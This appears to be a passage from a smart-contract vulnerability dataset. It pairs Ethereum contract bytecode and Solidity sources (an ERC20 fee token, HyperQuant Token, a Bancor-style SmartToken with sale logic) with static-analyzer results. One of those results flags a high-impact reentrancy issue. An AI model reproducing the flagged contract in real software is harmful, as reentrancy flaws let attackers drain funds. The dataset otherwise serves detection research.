52602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610444565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610444565b6001600160a01b038216610c475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610444565b60008111610ca95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610444565b6002600a556008600b556000546001600160a01b03848116911614801590610cdf57506000546001600160a01b03838116911614155b15610ebe576001600160a01b03831660009081526006602052604090205460ff16158015610d2657506001600160a01b03821660009081526006602052604090205460ff16155b610d2f57600080fd5b600f546001600160a01b038481169116148015610d5a5750600e546001600160a01b03838116911614155b8015610d7f57506001600160a01b03821660009081526005602052604090205460ff16155b8015610d945750600f54600160b81b900460ff165b15610df157601054811115610da857600080fd5b6001600160a01b0382166000908152600760205260409020544211610dcc57600080fd5b610dd742601e61192c565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e1c5750600e546001600160a01b03848116911614155b8015610e4157506001600160a01b03831660009081526005602052604090205460ff16155b15610e51576002600a908155600b555b6000610e5c306104e3565b600f54909150600160a81b900460ff16158015610e875750600f546001600160a01b03858116911614155b8015610e9c5750600f54600160b01b900460ff165b15610ebc57610eaa81611011565b478015610eba57610eba47610f08565b505b505b610ec98383836111b6565b505050565b60008184841115610ef25760405162461bcd60e51b81526004016104449190611834565b506000610eff8486611983565b95945050505050565b600c546001600160a01b03166108fc610f228360026111c1565b6040518115909202916000818181858888f19350505050158015610f4a573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f658360026111c1565b6040518115909202916000818181858888f19350505050158015610626573d6000803e3d6000fd5b6000600854821115610ff45760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610444565b6000610ffe611203565b905061100a83826111c1565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061106757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110bb57600080fd5b505afa1580156110cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110f39190611649565b8160018151811061111457634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e5461113a9130911684610a5d565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111739085906000908690309042906004016118bc565b600060405180830381600087803b15801561118d57600080fd5b505af11580156111a1573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610ec9838383611226565b600061100a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061131d565b600080600061121061134b565b909250905061121f82826111c1565b9250505090565b6000806000806000806112388761138d565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061126a90876113ea565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611299908661142c565b6001600160a01b0389166000908152600260205260409020556112bb8161148b565b6112c584836114d5565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161130a91815260200190565b60405180910390a3505050505050505050565b6000818361133e5760405162461bcd60e51b81526004016104449190611834565b506000610eff8486611944565b6008546000908190683635c9adc5dea0000061136782826111c1565b82101561138457505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113aa8a600a54600b546114f9565b92509250925060006113ba611203565b905060008060006113cd8e87878761154e565b919e509c509a509598509396509194505050505091939550919395565b600061100a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ece565b600080611439838561192c565b90508381101561100a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610444565b6000611495611203565b905060006114a3838361159e565b306000908152600260205260409020549091506114c0908261142c565b30600090815260026020526040902055505050565b6008546114e290836113ea565b6008556009546114f2908261142c565b6009555050565b6000808080611513606461150d898961159e565b906111c1565b90506000611526606461150d8a8961159e565b9050600061153e826115388b866113ea565b906113ea565b9992985090965090945050505050565b600080808061155d888661159e565b9050600061156b888761159e565b90506000611579888861159e565b9050600061158b8261153886866113ea565b939b939a50919850919650505050505050565b6000826115ad575060006103ab565b60006115b98385611964565b9050826115c68583611944565b1461100a5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610444565b8035611628816119e1565b919050565b60006020828403121561163e578081fd5b813561100a816119e1565b60006020828403121561165a578081fd5b815161100a816119e1565b60008060408385031215611677578081fd5b8235611682816119e1565b91506020830135611692816119e1565b809150509250929050565b6000806000606084860312156116b1578081fd5b83356116bc816119e1565b925060208401356116cc816119e1565b929592945050506040919091013590565b600080604083850312156116ef578182fd5b82356116fa816119e1565b946020939093013593505050565b6000602080838503121561171a578182fd5b823567ffffffffffffffff80821115611731578384fd5b818501915085601f830112611744578384fd5b813581811115611756576117566119cb565b8060051b604051601f19603f8301168101818110858211171561177b5761177b6119cb565b604052828152858101935084860182860187018a1015611799578788fd5b8795505b838610156117c2576117ae8161161d565b85526001959095019493860193860161179d565b5098975050505050505050565b6000602082840312156117e0578081fd5b813561100a816119f6565b6000602082840312156117fc578081fd5b815161100a816119f6565b60008060006060848603121561181b578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561186057858101830151858201604001528201611844565b818111156118715783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561190b5784516001600160a01b0316835293830193918301916001016118e6565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561193f5761193f6119b5565b500190565b60008261195f57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561197e5761197e6119b5565b500290565b600082821015611995576119956119b5565b500390565b60006000198214156119ae576119ae6119b5565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104e057600080fd5b80151581146104e057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122009b3e7301f09cd721a8c86a778718d5da4d7ece073e88ed5a3c6c8d1abe20a9164736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,193 |
0x3E1d5A855aD9D948373aE68e4fe1f094612b1322
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title BurnableByOwnerToken
* @dev Burnable token which can be burnt only by owner
**/
contract BurnableByOwnerToken is BurnableToken, Ownable {
function burn(uint256 _value) public onlyOwner {
super.burn(_value);
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title HyperQuantToken
* @dev Implements StandardToken and BurnableByOwnerToken.
*/
contract HyperQuantToken is StandardToken, BurnableByOwnerToken {
string public constant name = "HyperQuant Token";
string public constant symbol = "HQT";
uint8 public constant decimals = 18;
uint256 constant INITIAL_SUPPLY = 200 * (10 ** 6) * (10 ** (uint256(decimals)));
/**
* @dev Constructor that set initial supply to this contract
and allows owner to transfer tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[this] = INITIAL_SUPPLY;
emit Transfer(address(0), this, INITIAL_SUPPLY);
allowed[this][msg.sender] = INITIAL_SUPPLY;
emit Approval(this, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100df578063095ea7b31461016957806318160ddd146101a157806323b872dd146101c8578063313ce567146101f257806342966c681461021d578063661884631461023757806370a082311461025b578063715018a61461027c5780638da5cb5b1461029157806395d89b41146102c2578063a9059cbb146102d7578063d73dd623146102fb578063dd62ed3e1461031f578063f2fde38b14610346575b600080fd5b3480156100eb57600080fd5b506100f4610367565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012e578181015183820152602001610116565b50505050905090810190601f16801561015b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017557600080fd5b5061018d600160a060020a036004351660243561039e565b604080519115158252519081900360200190f35b3480156101ad57600080fd5b506101b6610404565b60408051918252519081900360200190f35b3480156101d457600080fd5b5061018d600160a060020a036004358116906024351660443561040a565b3480156101fe57600080fd5b50610207610581565b6040805160ff9092168252519081900360200190f35b34801561022957600080fd5b50610235600435610586565b005b34801561024357600080fd5b5061018d600160a060020a03600435166024356105a9565b34801561026757600080fd5b506101b6600160a060020a0360043516610699565b34801561028857600080fd5b506102356106b4565b34801561029d57600080fd5b506102a6610722565b60408051600160a060020a039092168252519081900360200190f35b3480156102ce57600080fd5b506100f4610731565b3480156102e357600080fd5b5061018d600160a060020a0360043516602435610768565b34801561030757600080fd5b5061018d600160a060020a0360043516602435610849565b34801561032b57600080fd5b506101b6600160a060020a03600435811690602435166108e2565b34801561035257600080fd5b50610235600160a060020a036004351661090d565b60408051808201909152601081527f48797065725175616e7420546f6b656e00000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561042157600080fd5b600160a060020a03841660009081526020819052604090205482111561044657600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561047657600080fd5b600160a060020a03841660009081526020819052604090205461049f908363ffffffff61092d16565b600160a060020a0380861660009081526020819052604080822093909355908516815220546104d4908363ffffffff61093f16565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610516908363ffffffff61092d16565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b601281565b600354600160a060020a0316331461059d57600080fd5b6105a681610952565b50565b336000908152600260209081526040808320600160a060020a0386168452909152812054808311156105fe57336000908152600260209081526040808320600160a060020a0388168452909152812055610633565b61060e818463ffffffff61092d16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a031633146106cb57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600160a060020a031681565b60408051808201909152600381527f4851540000000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561077f57600080fd5b3360009081526020819052604090205482111561079b57600080fd5b336000908152602081905260409020546107bb908363ffffffff61092d16565b3360009081526020819052604080822092909255600160a060020a038516815220546107ed908363ffffffff61093f16565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a038616845290915281205461087d908363ffffffff61093f16565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a0316331461092457600080fd5b6105a68161095c565b60008282111561093957fe5b50900390565b8181018281101561094c57fe5b92915050565b6105a633826109da565b600160a060020a038116151561097157600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0382166000908152602081905260409020548111156109ff57600080fd5b600160a060020a038216600090815260208190526040902054610a28908263ffffffff61092d16565b600160a060020a038316600090815260208190526040902055600154610a54908263ffffffff61092d16565b600155604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350505600a165627a7a72305820c45bf7450851475d625ecf967d71bff7bf87c75114e46905a457aaafe3a611540029
|
{"success": true, "error": null, "results": {}}
| 4,194 |
0x40f274bf42265e673ddbc9ea52a2bbc00155a140
|
pragma solidity ^0.4.24;
// File: contracts/interfaces/IOwned.sol
/*
Owned Contract Interface
*/
contract IOwned {
function transferOwnership(address _newOwner) public;
function acceptOwnership() public;
function transferOwnershipNow(address newContractOwner) public;
}
// File: contracts/utility/Owned.sol
/*
This is the "owned" utility contract used by bancor with one additional function - transferOwnershipNow()
The original unmodified version can be found here:
https://github.com/bancorprotocol/contracts/commit/63480ca28534830f184d3c4bf799c1f90d113846
Provides support and utilities for contract ownership
*/
contract Owned is IOwned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
/**
@dev constructor
*/
constructor() public {
owner = msg.sender;
}
// allows execution by the owner only
modifier ownerOnly {
require(msg.sender == owner);
_;
}
/**
@dev allows transferring the contract ownership
the new owner still needs to accept the transfer
can only be called by the contract owner
@param _newOwner new contract owner
*/
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
/**
@dev used by a new owner to accept an ownership transfer
*/
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
/**
@dev transfers the contract ownership without needing the new owner to accept ownership
@param newContractOwner new contract owner
*/
function transferOwnershipNow(address newContractOwner) ownerOnly public {
require(newContractOwner != owner);
emit OwnerUpdate(owner, newContractOwner);
owner = newContractOwner;
}
}
// File: contracts/utility/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
* From https://github.com/OpenZeppelin/openzeppelin-solidity/commit/a2e710386933d3002062888b35aae8ac0401a7b3
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
}
// File: contracts/interfaces/IERC20.sol
/*
Smart Token Interface
*/
contract IERC20 {
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// File: contracts/interfaces/ISmartToken.sol
/**
@notice Smart Token Interface
*/
contract ISmartToken is IOwned, IERC20 {
function disableTransfers(bool _disable) public;
function issue(address _to, uint256 _amount) public;
function destroy(address _from, uint256 _amount) public;
}
// File: contracts/SmartToken.sol
/*
This contract implements the required functionality to be considered a Bancor smart token.
Additionally it has custom token sale functionality and the ability to withdraw tokens accidentally deposited
// TODO abstract this into 3 contracts and inherit from them: 1) ERC20, 2) Smart Token, 3) Native specific functionality
*/
contract SmartToken is Owned, IERC20, ISmartToken {
/**
Smart Token Implementation
*/
bool public transfersEnabled = true; // true if transfer/transferFrom are enabled, false if not
/// @notice Triggered when a smart token is deployed - the _token address is defined for forward compatibility, in case we want to trigger the event from a factory
event NewSmartToken(address _token);
/// @notice Triggered when the total supply is increased
event Issuance(uint256 _amount);
// @notice Triggered when the total supply is decreased
event Destruction(uint256 _amount);
// @notice Verifies that the address is different than this contract address
modifier notThis(address _address) {
require(_address != address(this));
_;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
/// @notice Validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
require(_address != address(0));
_;
}
/**
@dev disables/enables transfers
can only be called by the contract owner
@param _disable true to disable transfers, false to enable them
*/
function disableTransfers(bool _disable) public ownerOnly {
transfersEnabled = !_disable;
}
/**
@dev increases the token supply and sends the new tokens to an account
can only be called by the contract owner
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issue(address _to, uint256 _amount)
public
ownerOnly
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@dev removes tokens from an account and decreases the token supply
can be called by the contract owner to destroy tokens from any account or by any holder to destroy tokens from his/her own account
@param _from account to remove the amount from
@param _amount amount to decrease the supply by
*/
function destroy(address _from, uint256 _amount) public {
require(msg.sender == _from || msg.sender == owner); // validate input
balances[_from] = SafeMath.sub(balances[_from], _amount);
totalSupply = SafeMath.sub(totalSupply, _amount);
emit Transfer(_from, this, _amount);
emit Destruction(_amount);
}
/**
@notice ERC20 Implementation
*/
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[msg.sender] >= _value && _to != address(0)) {
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
} else {return false; }
}
function transferFrom(address _from, address _to, uint256 _value) public transfersAllowed returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _to != address(0)) {
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
emit Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name;
uint8 public decimals;
string public symbol;
string public version;
constructor(string _name, uint _totalSupply, uint8 _decimals, string _symbol, string _version, address sender) public {
balances[sender] = _totalSupply; // Give the creator all initial tokens
totalSupply = _totalSupply; // Update total supply
name = _name; // Set the name for display purposes
decimals = _decimals; // Amount of decimals for display purposes
symbol = _symbol; // Set the symbol for display purposes
version = _version;
emit NewSmartToken(address(this));
}
/**
@notice Token Sale Implementation
*/
uint public saleStartTime;
uint public saleEndTime;
uint public price;
uint public amountRemainingForSale;
bool public buyModeEth = true;
address public beneficiary;
address public payableTokenAddress;
event TokenSaleInitialized(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, uint nowTime);
event TokensPurchased(address buyer, uint amount);
/**
@dev increases the token supply and sends the new tokens to an account. Similar to issue() but for use in token sale
@param _to account to receive the new amount
@param _amount amount to increase the supply by
*/
function issuePurchase(address _to, uint256 _amount)
internal
validAddress(_to)
notThis(_to)
{
totalSupply = SafeMath.add(totalSupply, _amount);
balances[_to] = SafeMath.add(balances[_to], _amount);
emit Issuance(_amount);
emit Transfer(this, _to, _amount);
}
/**
@notice Begins the token sale for this token instance
@param _saleStartTime Unix timestamp of the token sale start
@param _saleEndTime Unix timestamp of the token sale close
@param _price If sale initialized in ETH: price in Wei.
If not, token purchases are enabled and this is the amount of tokens issued per tokens paid
@param _amountForSale Amount of tokens for sale
@param _beneficiary Recipient of the token sale proceeds
*/
function initializeTokenSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) public ownerOnly {
// Check that the token sale has not yet been initialized
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
/**
@notice Begins the token sale for this token instance
@notice Uses the same signature as initializeTokenSale() with:
@param _tokenAddress The whitelisted token address to allow payments in
*/
function initializeTokenSaleWithToken(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary, address _tokenAddress) public ownerOnly {
buyModeEth = false;
payableTokenAddress = _tokenAddress;
initializeSale(_saleStartTime, _saleEndTime, _price, _amountForSale, _beneficiary);
}
function initializeSale(uint _saleStartTime, uint _saleEndTime, uint _price, uint _amountForSale, address _beneficiary) internal {
// Check that the token sale has not yet been initialized
require(saleStartTime == 0);
saleStartTime = _saleStartTime;
saleEndTime = _saleEndTime;
price = _price;
amountRemainingForSale = _amountForSale;
beneficiary = _beneficiary;
emit TokenSaleInitialized(saleStartTime, saleEndTime, price, amountRemainingForSale, now);
}
function updateStartTime(uint _newSaleStartTime) public ownerOnly {
saleStartTime = _newSaleStartTime;
}
function updateEndTime(uint _newSaleEndTime) public ownerOnly {
require(_newSaleEndTime >= saleStartTime);
saleEndTime = _newSaleEndTime;
}
function updateAmountRemainingForSale(uint _newAmountRemainingForSale) public ownerOnly {
amountRemainingForSale = _newAmountRemainingForSale;
}
function updatePrice(uint _newPrice) public ownerOnly {
price = _newPrice;
}
/// @dev Allows owner to withdraw erc20 tokens that were accidentally sent to this contract
